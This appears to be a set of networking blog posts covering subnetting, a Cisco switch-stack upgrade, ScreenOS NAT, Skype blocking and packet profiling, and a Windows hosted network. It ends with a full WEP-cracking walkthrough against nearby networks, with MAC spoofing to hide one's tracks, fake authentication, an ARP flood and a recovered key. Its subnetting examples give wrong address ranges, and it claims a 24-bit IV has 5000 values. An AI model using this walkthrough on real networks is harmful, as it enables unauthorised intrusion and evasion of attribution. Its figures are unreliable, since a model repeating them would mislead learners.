Subnetting 101

I had a hard time picking all this up from reading books on it, but after understanding it it's a lot simpler than you would think.

First you'll want to remember to use binary conversion chart; anyone familiar with computers should feel at home with these; they're the same values used for unit sizes on file systems.

 128  64  32  16  8  4  2  1

Each one of these represent a bit in the octet of the subnet mask; added together, the "turned on" bits will give you the value of that octet (binary can only hold a value of 1 or 0, true or false, on or off).

10110101 will be 128+32+16+4+1 so the octet would be 181

Nitty Gritty

There are two ways to subnet, by desired host, and by desired networks. Doing by networks will usually result in an excess of host addresses. However doing it by hosts, if done incorrectly, can result in too few addresses and limit the scalability of your networks.

Address space we'll be working with:

Network address: 172.16.0.0
Subnet Mask: 255.255.0.0
CIDR: /16

By Network

Number of desired networks will be twenty (20).

Begin by using the chart above to see how many network bits you would need to get at least 20.
You'll want to add the number of bits onto the left most octet available.

128 64 32 16 8 4 2 1
     0  0   0   1 0 1 0 0
                   ^---------^
                     5 bits

255.255.0.0        =    11111111.11111111.00000000.00000000
255.255.248.0    =    11111111.11111111.11111000.00000000
                                                                   ^------^
                                                              5 bits added                                   

The subnet mask decimal value is calculated by adding up the binary values according to our little chart. Where as your CIDR notation is the number of actual bits added up (one full octet is equal to eight (8)).

128 64 32 16 8 4 2 1
     1  1   1   1 1 0 0 0
 
128+64+32+16+8 = 248
Subnet Mask: 255.255.248.0

11111111.11111111.11111000.00000000
CIDR: /21

The way I usually calculate usable range is to subtract the subnet mask from 256. However technically the formula is 2^n where n is equal to the number of available host bits in the left most octet.

256-248 = 8
2^3 = 2x2x2 = 8

So our network range becomes 172.16.0.0-172.16.0.7 (remember that the first IP is the network address, and the last is the broadcast; so host IPs are 172.16.0.1 through 172.16.0.6).

Finding the total number of available networks is similar.

2^n where n = number of network bits added
so 2^5 =  32 networks available

By Host

Calculating by host requirement is almost the same thing, except backwards...ish

Number of desired hosts will be twenty (20)

Start off with the same thing as before, find the number of bits requires for the number you're looking for, this time hosts instead of networks.

128 64 32 16 8 4 2 1
    0   0   0   1 0 1 0 0
                   ^---------^
                      5 bits

Now for the backwards part. The five bits will be how many host bits will remain (so you would need the inverted amount of network bits)

255.255.0.0            =    11111111.11111111.00000000.00000000
255.255.255.224    =    11111111.11111111.11111111.11100000
                                                                                             ^-------^
                                                                                   5 bits remaining

Everything aside from that one step is the same.
Usable range is 172.16.0.0-172.16.0.32 with a CIDR of /27 (you can subtract host bits from 32 if that's any easier for you) and usable number of networks being 2^11 which is 2048.

And that's about it. I find this logic a lot easier to understand than the things I've seen elsewhere.

Upgrading IOS-XE (3850 switch stack)

Copy image file over as you normally would for any Cisco device.

copy ftp://user:password@192.168.2.1/cat3k_caa-universalk9.SPA.03.03.02.SE.150-1.EZ2.bin flash:

Before we can do the upgrade, we need to make sure that the switches are operating in install mode. To do this use the show ver command.

3850Stack#show ver | begin Switch Ports
Switch Ports Model              SW Version        SW Image              Mode  
------ ----- -----              ----------        ----------            ----  
*    1 56    WS-C3850-48T       03.03.00SE        cat3k_caa-universalk9 INSTALL
     2 56    WS-C3850-48T       03.03.00SE        cat3k_caa-universalk9 INSTALL

Install Mode
This is the default mode for the switch. The INSTALL mode uses a package-provisioning file named packages.conf in order to boot the switch. In addition, there are a number of .pkg files in the flash. Cisco recommends that you do not alter these files unless directed by a Cisco Technical Assistance Center (TAC) engineer.

Bundle Mode
If you are comfortable with the use of traditional monolithic IOS images in order to boot the switch, then the BUNDLE mode should be familiar. The BUNDLE mode consumes more memory than the INSTALL mode because the packages are extracted from the Bundle and copied to the RAM.

Use the show switch command to view the cluster's current status

3850Stack#show switch
Switch/Stack Mac Address : 30cc.d16f.1f91 - Local Mac Address
Mac persistency wait time: Indefinite
                                             H/W   Current
Switch#   Role    Mac Address     Priority Version  State
------------------------------------------------------------
*1       Active   30cc.d16f.1f91    1      A0      Ready              
 2       Standby  3512.d834.cd91     1      A0      Ready              

With the switch in install mode, you can install any supported Cisco IOS-XE software bundle by using the software install command. The new operand denotes that only packages within the bundle being installed will be used (think of it as a clean install).

3850Stack#software install file flash:cat3k_caa-universalk9.SPA.03.03.02.SE.150-1.EZ2.bin new                  
Preparing install operation ...
[1]: Copying software from active switch 1 to switch 2
[1]: Finished copying software to switch 2
[1 2]: Starting install operation
[1 2]: Expanding bundle flash:cat3k_caa-universalk9.SPA.03.03.02.SE.150-1.EZ2.bin
[1 2]: Copying package files
[1 2]: Package files copied
[1 2]: Finished expanding bundle flash:cat3k_caa-universalk9.SPA.03.03.02.SE.150-1.EZ2.bin
[1 2]: Verifying and copying expanded package files to flash:
[1 2]: Verified and copied expanded package files to flash:
[1 2]: Starting compatibility checks
[1 2]: Finished compatibility checks
[1 2]: Starting application pre-installation processing
[1 2]: Finished application pre-installation processing
[1]: Old files list:
    Removed cat3k_caa-base.SPA.03.03.00SE.pkg
    Removed cat3k_caa-drivers.SPA.03.03.00SE.pkg
    Removed cat3k_caa-infra.SPA.03.03.00SE.pkg
    Removed cat3k_caa-iosd-universalk9.SPA.150-1.EZ.pkg
    Removed cat3k_caa-platform.SPA.03.03.00SE.pkg
    Removed cat3k_caa-wcm.SPA.10.1.100.0.pkg
[2]: Old files list:
    Removed cat3k_caa-base.SPA.03.03.00SE.pkg
    Removed cat3k_caa-drivers.SPA.03.03.00SE.pkg
    Removed cat3k_caa-infra.SPA.03.03.00SE.pkg
    Removed cat3k_caa-iosd-universalk9.SPA.150-1.EZ.pkg
    Removed cat3k_caa-platform.SPA.03.03.00SE.pkg
    Removed cat3k_caa-wcm.SPA.10.1.100.0.pkg
[1]: New files list:
    Added cat3k_caa-base.SPA.03.03.02SE.pkg
    Added cat3k_caa-drivers.SPA.03.03.02SE.pkg
    Added cat3k_caa-infra.SPA.03.03.02SE.pkg
    Added cat3k_caa-iosd-universalk9.SPA.150-1.EZ2.pkg
    Added cat3k_caa-platform.SPA.03.03.02SE.pkg
    Added cat3k_caa-wcm.SPA.10.1.121.0.pkg
[2]: New files list:
    Added cat3k_caa-base.SPA.03.03.02SE.pkg
    Added cat3k_caa-drivers.SPA.03.03.02SE.pkg
    Added cat3k_caa-infra.SPA.03.03.02SE.pkg
    Added cat3k_caa-iosd-universalk9.SPA.150-1.EZ2.pkg
    Added cat3k_caa-platform.SPA.03.03.02SE.pkg
    Added cat3k_caa-wcm.SPA.10.1.121.0.pkg
[1 2]: Creating pending provisioning file
[1 2]: Finished installing software.  New software will load on reboot.
[1 2]: Committing provisioning file

[1 2]: Do you want to proceed with reload? [yes/no]: yes
[1 2]: Reloading

Once the reboot is complete (which can take several minutes depending on the size of stack) verify update.

3850Stack#show ver | begin Switch Ports 
Switch Ports Model              SW Version        SW Image              Mode  
------ ----- -----              ----------        ----------            ----  
*    1 56    WS-C3850-48T       03.03.02SE        cat3k_caa-universalk9 INSTALL
     2 56    WS-C3850-48T       03.03.02SE        cat3k_caa-universalk9 INSTALL

Policy-based NATing on ScreenOS

Source NATing

I recently had to deploy a firewall for a home user where the VPN address space was limited, and it would be best to not re-IP the LAN devices as only specific destinations would be accessed through the VPN. To accomplish this, I employed some simple static routing and source NATing.

When sending traffic from the LAN through the VPN, because we're using the same addressing space (for this example 10.10.0.0/16) source NATing allows us to have a neutral address for both the source and destination.

If you would like to have more than one host connecting with unique IP addresses, it's best to utilize a DIP pool to use with your NATing; this acts much like a DHCP pool. You can additionally enable PAT (Port Address Translation) which supports up to 64,500 hosts simultaneously. However, a DIP pool is best used (with PAT disabled) when the source port number must remain fixed. When done in this fashion, the SSG will issue one address for the same host for all of it's sessions. Whereas with PAT enabled, each session might receive a unique source address.

If you do not specify a DIP pool, the SSG will translate the source address to the egress (outgoing) interface. When you do this, PAT is automatically enabled. I find this way much easier for our purpose.

So first thing's first, lets define our hosts; because we're connecting from a handful of possible devices who are utilizing DHCP, we're going to just define the entire subnet:

set address "Trust" "192.168.1.0/24" 192.168.1.0 255.255.255.0
set address "DMZ" "10.10.0.0/16" 10.10.0.0 255.255.0.0

The DMZ address here is our remote network.

Now for the routing:

set route 10.10.0.0/16 interface tunnel.1

So anything destined for 10.10.0.0/16 will be routed through the tunnel interface; which just so happens to have an address in that scheme.

Now for the policy and NAT:

set policy from "Trust" to "DMZ" "192.168.1.0/24" "10.10.0.0/16" "ANY" nat src permit log

Any traffic from our local subnet of 192.168.1.0/24 destined for 10.10.0.0/16 will be routed through the tunnel interface after being NATed to the egress interface's IP address; our tunnel interface, which as stated earlier holds an IP in the 10.10.0.0/16 scheme!

For those of you who wish to use a DIP pool, I've got you covered!

set interface ethernet0/1 dip 1 10.10.1.1 10.10.1.254 fix-port
set policy from "Trust" to "DMZ" "192.168.1.0/24" "10.10.0.0/16" "ANY" nat src dip-id 1 permit log 

For this to work, because the 10.10.0.0/16 network lives on both ends of the tunnel, a route on the head will have to be set to route anything destined for the 10.10.1.0/24 range through the tunnel to our LAN.

The fix-port option in the DIP denotes that PAT will not be used.; remove this option to enable PAT.


To be continued with destination NATs, MIPs and VIPs...

Blocking Skype on ScreenOS

Unfortunately, ScreenOS doesn't have the same deep packet inspection and application control that Fortinet or even Cisco has. Skype is built around P2P networking and uses dynamic incoming ports and can even fall back on to 80/443 for it's communication. It's design this way for ease-of-use, so that a layer 3 firewall will never stand in the way from you having free VoIP phone calls. However, this can cause some frustration when trying traditionally block it on a firewall using a port-range.

On a Cisco you can utilize NBAR because they've implemented a Skype application classification, and with Fortinet you can use their application control function. But on an old fashioned ScreenOS-based Juniper, you're shit-out-of-luck. There is however a very McGuyver-way to do it.

When a Skype client is connected it must authenticate the username and password with the Skype login server. There are many different Skype login servers using different ports. An obfuscated list of servers is hardcoded in the Skype executable. With this list we can deny outbound traffic.

Can't login, can't use Skype. Simple.

Now there is a list of servers published on Wikipedia, however after some research this appears to be an outdated and pre-Microsoft server list. This is a tested and working list of authentication servers:

64.4.23.0/24
65.55.223.0/24
111.221.74.0/24
111.221.77.0/24
157.55.56.0/24
157.55.130.0/24
157.55.235.0/24
157.56.52.0/24
213.199.179.0/24

Defining your remotes

set address "Untrust" "Skype_64.4.23.0/24" 64.4.23.0 255.255.255.0
set address "Untrust" "Skype_65.55.223.0/24" 65.55.223.0 255.255.255.0
set address "Untrust" "Skype_111.221.74.0/24" 111.221.74.0 255.255.255.0
set address "Untrust" "Skype_111.221.77.0/24" 111.221.77.0 255.255.255.0
set address "Untrust" "Skype_157.55.56.0/24" 157.55.56.0 255.255.255.0
set address "Untrust" "Skype_157.55.130.0/24" 157.55.130.0 255.255.255.0
set address "Untrust" "Skype_157.55.235.0/24" 157.55.235.0 255.255.255.0
set address "Untrust" "Skype_157.56.52.0/24" 157.56.52.0 255.255.255.0
set address "Untrust" "Skype_213.199.179.0/24" 213.199.179.0 255.255.255.0

Blocking your hosts

 The following ACL will deny all hosts in the Trust zone from accessing the Skype servers. If you want to block specific hosts then change/add the source addresses/zones in the policy. For multiple specific hosts you will need to add a line similar to set src-address "192.168.1.1/32".

set policy top from "Trust" to "Untrust" "Any" "Skype_64.4.23.0/24" "ANY" deny log
set dst-address "Skype_65.55.223.0/24"
set dst-address "Skype_111.221.74.0/24"
set dst-address "Skype_111.221.77.0/24"
set dst-address "Skype_157.55.56.0/24"
set dst-address "Skype_157.55.130.0/24"
set dst-address "Skype_157.55.235.0/24"
set dst-address "Skype_157.56.52.0/24"
set dst-address "Skype_213.199.179.0/24"

Packet Profiling on ScreenOS

Occasionally I've had clients report high latency or slowness. I've gone over bandwidth reports and can see long peaks of high usage and their pings come back well over 200ms. Now on a Cisco device you can turn on NetFlow and see who the top talkers are. Unfortunately a lot of people don't know how to do this on a Juniper (ScreenOS).

Recon

The first thing you'll want to do is log into the device, if there is a lot of traffic response times in the terminal may be slow so bare with it. You'll need to enable packet profile then start it up. If packet profiling has been run on the device before it'd be a good idea to clear the existing information as well.

set fprofile packet enable
clear fprofile
set fprofile packet start

By defualt, the profiling buffer is set to nowrap so that the packet profiling will automatically halt when the buffer is full. If you wish to disable this use the command set fprofile packet wrap; this will cause the profiling to continually run until it's manually stopped. Be advised that it will overriding the existing buffer with new information (I believe NetFlow on Cisco operates in a similar fashion)

Now that you have it running, give it some time to gather traffic information.

Analysis

If you decided to turn on wrapping, issue the command set fprofile packet stop. Otherwise you should be good to go. To display the gathered information issue the command get fprofile packet. This will give you the default output, as seen below.

ssg5-> get fprofile packet
packet buffer size(in kilo-packets): 4
total ip packet: 4090
total ip packet time(us): 349668
total none-ip packet: 6
total none-ip packet time(us): 206
    Id  Type    Protocol    Source                Destination        Sport    Dport    Time    Percentage
    1  ip        0x06        192.168.0.1            192.168.1.254    80        2917    71099    20.32%
    2  ip        0x06        4.2.2.2                192.168.1.254    80        2237    52399    14.97%  
    3  ip        0x06        192.168.1.2            192.168.1.254    80        2800    51627    14.75%  
    4  ip        0x06        192.168.1.1            192.168.0.1        49966    80        42703    12.20%  
    5  ip        0x06        4.2.2.1                192.168.1.254    80        1224    34008    9.72%  
    6  ip        0x06        192.168.1.1            4.2.2.2            49949    80        26675    7.62%  
    7  ip        0x06        192.168.1.1            4.2.2.2            49900    80        26235    7.49%  
    8  ip        0x06        192.168.1.1            4.2.2.1            49935    80        17235    4.92%  
    9  ip        0x01        192.168.1.2            192.168.1.254    8        0        3467    0.00%  
    10 ip        0x32        192.168.1.2            192.168.1.254    44562    48388    2527    0.00%  

Blogger isn`t wide enough to display this properly. I should find a new theme...I`ve also changed the IPs to meaningless one for the sake of this post. Don`t want anyone`s networks getting ID`d ;)

So take a look at the top users and see if you can see any patterns, in the example below we can see that 192.168.1.1 has a session open to 192.168.0.1. At the same time there is a session open from 192.168.0.1 to 192.168.1.254(which happens to be our modem).

Now we'll want to look at the ARP for our suspected culprit ( 192.168.1.1) and do a look up on both the MAC and the remote IP (192.168.0.1). I use Wireshark`s OUI Lookup Tool.

From here we can trace the MAC and IP through the our MAC and ARP tables to find which switch (or AP, usually) it`s hanging off of.

Once stopped the packet profiling settings will still be in the configuration (much like NetFlow), however if you wish to remove it completely use the unset fprofile packet enable command.

Reference

clear fprofile

get fprofile packet ip proto top <NUMBER>
get fprofile packet ip proto all
get fprofile packet ip proto
get fprofile packet ip src-ip top <NUMBER>
get fprofile packet ip src-ip all
get fprofile packet ip src-ip
get fprofile packet ip dst-ip top <NUMBER>
get fprofile packet ip dst-ip all
get fprofile packet ip dst-ip
get fprofile packet ip sport top <NUMBER>
get fprofile packet ip sport all
get fprofile packet ip sport
get fprofile packet ip dport top <NUMBER>
get fprofile packet ip dport all
get fprofile packet ip dport
get fprofile packet ip top <NUMBER>
get fprofile packet ip all
get fprofile packet ip
get fprofile packet none-ip proto top <NUMBER>
get fprofile packet none-ip proto all
get fprofile packet none-ip proto
get fprofile packet none-ip src-mac top <NUMBER>
get fprofile packet none-ip src-mac all
get fprofile packet none-ip src-mac
get fprofile packet none-ip dst-mac top <NUMBER>
get fprofile packet none-ip dst-mac all
get fprofile packet none-ip dst-mac
get fprofile packet none-ip top <NUMBER>
get fprofile packet none-ip all
get fprofile packet none-ip
get fprofile packet top <NUMBER>
get fprofile packet all
get fprofile packet
get fprofile

set fprofile packet enable

Configuring a wireless bridge on Windows

I was recently at my girlfriend's place where a 3 year old D-Link gateway is being used. I've forever had some connectivity issues with this device but I can usually manage albeit a request resend here and there. Well my PS3 didn't want to connect at all through wireless so I thought I'd pass the traffic through my laptop!

Open a new command prompt as an Administrator and issue the following command:

netsh wlan set hostednetwork mode=allow ssid=JustinLaptopAP key=12345678

This will create a new virtual interface on your machine.

Start the hosted network:

netsh wlan start hostednetwork

I had issues after a reboot that it wouldn't start; you'll have to go into Device Manager and find the Network Adapter and manually enable it.

Now open up Network and Sharing Centre and navigate to the Network Connections page (by clicking "Change adapter settings" on the left). Once there you'll see your new adapter (mine is "Local Area Connection* 14"), you'll notice it has a wireless signal icon.

Right-click your default wireless adapter and go to Properties>Sharing and check the box labeled "Allow other network users to connect through this computer's Internet connection", selecting your newly created adapter from the drop-down menu.

And voila! You'll be able to see the SSID from all your devices and connect through it to the Internet.

You'll have to issue the start command whenever you reboot your computer, but that can be solved with a small batch file; if you're using it all the time I'd suggest just having it auto-run at start-up.

Cheers!

Cracking WEP

Most home routers these days are defaulted to use WPA encryption (which can be cracked, but we'll be covering that later) but most older ones (a lot DLink ones I've noticed) use WEP. WEP is very insecure as you'll see in about ten minutes when you crack it.

First you'll want to boot up Backtrack or Kali; you could theoretically use any linux-distro and install the tools separately, but who has time for that. I personally keep Kali on an SD card and boot into live-mode on my laptop when I need it.

Hiding Your Tracks

Because network cracking can you get in trouble, we'll want to hide our MAC address before we begin. BT (I'm going to refer to both Backtrack and Kali as BT from now on) has a nifty tool install for this called simply macchanger.

airmon-ng stop
ifconfig wlan0 down
macchanger —mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0

This will stop airmon-ng from monitoring, shutdown your wlan0 interface, change it's MAC address to 00:11:22:33:44:55 (how original), then start up the monitoring again. Turning on airmon-ng gives us a virtual interface, mon0, which we will be using from here on out.

Reconnaissance 

We'll first want to scan area within range for available wireless networks. You should see at least a few pop up as there is an overabundance of wireless networks..everywhere. To start the scan, open up a new terminal and execute airodump-ng. Press Ctrl-C to kill it after you determine it's not going to find anymore WLANs.

airodump-ng

CH  7 ][ Elapsed: 48 s ][ 2013-06-01 20:49                                  
                                                                             
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                             
 00:22:6B:4D:13:0A  -49      119       17    0   6  54   WEP  WEP         dotscafe
 B0:E7:54:A7:B7:A9  -82       56        0    0  11  54 . WEP  WEP         BELL237
 34:EF:44:F8:6D:A9  -88       11        0    0   9  54 . WPA  TKIP   PSK  abby
 78:CD:8E:66:3E:51  -89        1        1    0  10  54e  WPA  TKIP   PSK  dave
                                                                             
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe  
                                                                             
 00:22:6B:4D:13:0A  60:A1:0A:1E:0B:5D  -63    0 -54      0       10          
 00:22:6B:4D:13:0A  98:0C:82:8A:52:38  -83    1 -24      0        4                       
 B0:E7:54:A7:B7:A9  38:AA:3C:75:83:E3  -83    0 - 1      0        1          
 B0:E7:54:A7:B7:A9  38:AA:3C:75:83:E3  -83    0 - 1      0        1  

Data Collection

As you can see there's a plethora of information about each AP. The things we're most concerned with is the BSSID and the Channel (CH) it's operating on. We can run airodump-ng again, this time giving it some specifics. The bell237 in the command is the file name were the traffic capture is going to be dumped; for consistency's sake, I generally keep the file name the same as the ESSID.

airodump-ng -c 11 -w bell237 --bssid B0:E7:54:A7:B7:A9 mon0
CH 11 ][ Elapsed: 2 mins ][ 2013-06-01 21:01                                
                                                                             
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                             
 B0:E7:54:A7:B7:A9  -78  96     1254    50485    0  11  54 . WEP  WEP         BELL237
                                                                             
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe  
                                                                             
 B0:E7:54:A7:B7:A9  00:11:22:33:44:55    0    0 - 1   52425   107860          
 B0:E7:54:A7:B7:A9  28:6A:BA:17:AD:65  -87    0 - 1      0        1            
 B0:E7:54:A7:B7:A9  38:AA:3C:75:83:E3  -83   11 - 1      0      254          
 B0:E7:54:A7:B7:A9  28:6A:BA:17:AD:65  -87    0 - 1      0        1  

Now at this point, you could just let airodump-ng run and gather the air packets on it's own. But we both know by looking at how fast that Data number is climbing it'll be a long wait. To speed things along we're going to associate ourselves with the AP and start a flood. You'll wait to leave airodump-ng running while you do this, so open up a new terminal. The -1 option sets the attack mode to a fake authentication and the 0 is auto number of packets per burst (the default is 1).

aireplay-ng -1 0 -a B0:E7:54:A7:B7:A9 -h 00:11:22:33:44:55 -e BELL237 mon0
The interface MAC (XX:XX:XX:XX:XX:XX) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:11:22:33:44:55
20:54:05  Waiting for beacon frame (BSSID: B0:E7:54:A7:B7:A9) on channel 11
20:54:05  Sending Authentication Request (Open System) [ACK]
20:54:05  Authentication successful
20:54:05  Sending Association Request [ACK]
20:54:05  Association successful :-) (AID: 1)

Now that we're authenticated we can begin to flood. We'll be flooding ARP-requests, which is what the -3 option in our command denotes.

aireplay-ng -3 -b B0:E7:54:A7:B7:A9 -h 00:11:22:33:44:55 mon0

You'll soon see that terminal overflow with ARP-requests; just let it go. If we go back to our other terminal where we left airodump running you'll see the #Data column sky-rocket, the number represents the number of IVs (or Initialization Vectors) that we have collected so far, each WEP data packet has a 3-byte IV. We'll want to collect a heap of them to use because the WEP IV is only 24-bit, meaning it'll only have 5000 possibilities. And the flood has begin. Let it go till it hits about 50,000. When it gets there, you can go ahead and kill both applications (but leave don't close the windows).

Attack

In one of the two terminals (or a new one if you prefer) we'll need to load our capture file from airodump into aircrack-ng to actually crack the IVs we collected earlier. The IVs are encrypted and aircrack will attempt to run them against a set of statistical attacks. In the event that aircrack fails (and believe me it can), just go back to the two terminals we were using for airodump and aireplay and run them again, this time until twice as many IVs have been captures (now you know why I told you not to close the windows!).

aircrack-ng -b B0:E7:54:A7:B7:A9 bell237-01.cap
Opening bell237-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 50484 ivs.

                                    Aircrack-ng 1.1

                    [00:00:02] Tested 1388233 keys (got 50338 IVs)
   KB    depth   byte(vote)
    0    0/  1   28(63232) 8A(59136) 2F(58880) 93(58880) F0(58624) 88(58368)
    1    0/  1   55(70656) 12(59648) 21(58880) F8(58880) 9A(58368) CF(58368)
    2    0/  2   07(62464) E4(61696) 9E(60672) 7C(58624) 33(57088) 6E(57088)
    3    0/  1   74(71168) 53(60416) D9(59392) E9(58112) ED(57856) 0E(57344)
    4    0/  1   30(74752) 43(58368) 68(58368) 5C(57600) A2(57600) 52(57088)
    5    0/  1   19(63488) 4D(61184) AC(60928) 05(58624) 5A(58624) 89(58624)
    6    0/  1   75(74752) 29(60160) 4D(59904) 86(59904) 30(59392) 57(58880)
    7    2/  4   B4(60928) 4E(60416) 54(60416) 3E(60160) 47(58368) B8(58112)
    8    1/  3   46(60672) 9F(59904) 05(58880) 27(58624) 2B(58368) BD(58112)
    9    0/  1   48(66048) 86(60160) A2(60160) 32(57856) AE(57600) EE(57600)
   10    0/  1   54(62464) DF(58624) FD(57856) 7A(57600) 46(57344) 0C(56832)
   11    0/  1   64(71936) 48(59392) 11(59136) 66(59136) 86(57600) 88(57600)
   12   26/ 12   ED(55040) 83(54784) 90(54784) C4(54784) 05(54528) 14(54528)
     KEY FOUND! [ 28:55:07:74:30:19:75:98:46:48:54:64:38 ]
Decrypted correctly: 100%

And that's it! Pop the key (without the colons) into the authentication prompt for the wireless network and you're set. This just shows you how easy it is to get into someone else's LAN, make sure you keep your private network protected with at least WPA and if possible WPA2.